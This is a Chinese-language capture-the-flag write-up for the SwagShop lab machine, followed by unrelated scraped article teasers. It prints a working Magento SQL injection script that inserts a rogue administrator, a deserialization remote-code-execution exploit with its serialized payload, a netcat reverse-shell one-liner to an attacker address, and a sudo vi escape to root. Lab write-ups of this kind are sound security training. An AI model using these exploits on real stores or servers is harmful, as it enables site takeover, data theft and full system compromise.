[Meachines] [Easy] SwagShop Magento SQLI+Magento 反序列化RCE+vi权限提升

embedded/2024/12/22 19:26:59/

信息收集

IP AddressOpenping Ports
10.10.10.140TCP:22,80

$ nmap -p- 10.10.10.140 --min-rate 1000 -sC -sV -Pn

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.29 (Ubuntu)

HTTP & Magento SQLI

$ curl 10.10.10.140 -I

image.png

# echo '10.10.10.140 swagshop.htb'>>/etc/hosts

image-1.png

$ wget https://github.com/steverobbins/magescan/releases/download/v1.12.9/magescan.phar

$ php magescan.phar scan:all http://swagshop.htb/

image-2.png

image-4.png

import requests
import base64
import systarget = sys.argv[1]if not target.startswith("http"):target = "http://" + targetif target.endswith("/"):target = target[:-1]target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"# For demo purposes, I use the same attack as is being used in the wild
SQLQUERY="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""# Put the nice readable queries into one line,
# and insert the username:password combinination
query = SQLQUERY.replace("\n", "").format(username="ypwq", password="123")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ","filter": base64.b64encode(pfilter),"forwarded": 1})
if r.ok:print "WORKED"print "Check {0}/admin with creds ypwq:123".format(target)
else:print "DID NOT WORK"

$ python2 exp.py http://10.10.10.140

image-5.png

http://swagshop.htb/index.php/admin

username:ypwq password:123

image-6.png

Magento反序列化RCE

$ searchsploit magento

image-7.png

$ searchsploit -m php/webapps/37811.py

/usr/share/exploitdb/exploits/php/webapps/37811.py

$ cp /usr/share/exploitdb/exploits/php/webapps/37811.py ./

#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : nonefrom hashlib import md5
import sys
import re
import base64
import mechanizedef usage():print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""sys.exit()if len(sys.argv) != 3:usage()# Command-line args
target = sys.argv[1]
arg = sys.argv[2]# Config.
username = 'ypwq'
password = '123'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)request = br.open(target)br.select_form(nr=0)
#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = passwordbr.method = "POST"
request = br.submit()
content = request.read()url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()exploit = tunnel + '?ga=' + payload + '&h=' + ghtry:request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:print e.read()

image-9.png

image-8.png

$ pip2 install mechanize

$ python2 37811.py 'http://swagshop.htb/index.php/admin' "ls /"

image-10.png

$ python2 37811.py 'http://swagshop.htb/index.php/admin' "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.18 10032 >/tmp/f"

image-11.png

User.txt

fb745498d888a0f78d1e16ae4a2c7279

权限提升

$ sudo -l

image-12.png

$ sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null

image-13.png

Root.txt

e1883ff4c774c0a0c204372af19eed26


http://www.ppmy.cn/embedded/93738.html

相关文章

【ARM CoreLink 系列 4.1 -- NIC-400 控制器详细介绍】

请阅读【ARM AMBA 总线 文章专栏导读】 文章目录 QoS-400 Advanced Quality of Service可编程的 QoS 功能读写请求的调节配置化的 QoS 选项无额外周期的延迟QVN-400(QoS Virtual Networks)防止系统内的流量拥塞支持配置多达八个虚拟网络TLX-400 Thin LinksTLX 主要能特点上篇文…

FLUX.1 实测,堪比 Midjourney 的开源 AI 绘画模型,无需本地显卡,带你免费实战

要列举 AI 绘画开源界的几个关键贡献&#xff0c;一定少不了 Stable Diffusion。 还记否前不久刚推出的 Stable Diffusion 3&#xff1f; 其背后的团队 Stability AI&#xff0c;真的是一波三折&#xff0c;其核心成员出走&#xff0c;成立了一个新公司&#xff1a;Black For…

Docker学习概述:开启自动化运维之旅

目录 学习目标 为什么会出现Docker&#xff1f; 历史 作用 学习目标 Docker作为一个轻量级、可移植的容器化平台&#xff0c;它的学习目标主要集中在以下几个方面&#xff1a; 理解容器化的概念&#xff1a;掌握容器与虚拟机的区别&#xff0c;以及容器化带来的优势。掌握…

java学习记录

一、修改数据 1.当修改数据时&#xff0c;会先判断该属性是否存在或者是否为空串 <update id"editStaffItem">update staff<set><if testname!null and name!"">name#{name},</if><if test"salary!null">salary#…

代码随想录算法训练营Day35 | 01背包问题 | 416. 分割等和子集

今日任务 01背包问题 题目链接&#xff1a; https://kamacoder.com/problempage.php?pid1046题目描述&#xff1a; Code #include <iostream> #include <vector> #include <functional> #include <algorithm>using namespace std;int main(void)…

FFmpeg源码:av_init_packet、get_packet_defaults、av_packet_alloc函数分析

一、av_init_packet函数 av_init_packet函数定义在FFmpeg源码&#xff08;本文演示用的FFmpeg源码版本为7.0.1&#xff09;的源文件libavcodec/avpacket.c中&#xff1a; /*** Initialize optional fields of a packet with default values.** Note, this does not touch the…

LLVM理论篇之编译器结构

1、概述 编译器完成源程序到目标程序的翻译工作&#xff0c;这是一个复杂的整体过程。从概念上讲&#xff0c;一个编译程序的整体过程可以分为3个阶段&#xff0c;每个阶段将程序的一种语言表示形式转换成另一种语言表示形式&#xff0c;并且各个阶段在逻辑上是紧密相连的。典…

培训第二十二天(mysql数据库主从搭建)

上午 1、为mysql添加开机启动chkconfig [rootmysql1 ~]# chkconfig --list //列出系统服务在不同运行级别下的启动状态注&#xff1a;该输出结果只显示 SysV 服务&#xff0c;并不包含原生 systemd 服务。SysV 配置数据可能被原生 systemd 配置覆盖。 要列出 systemd 服务…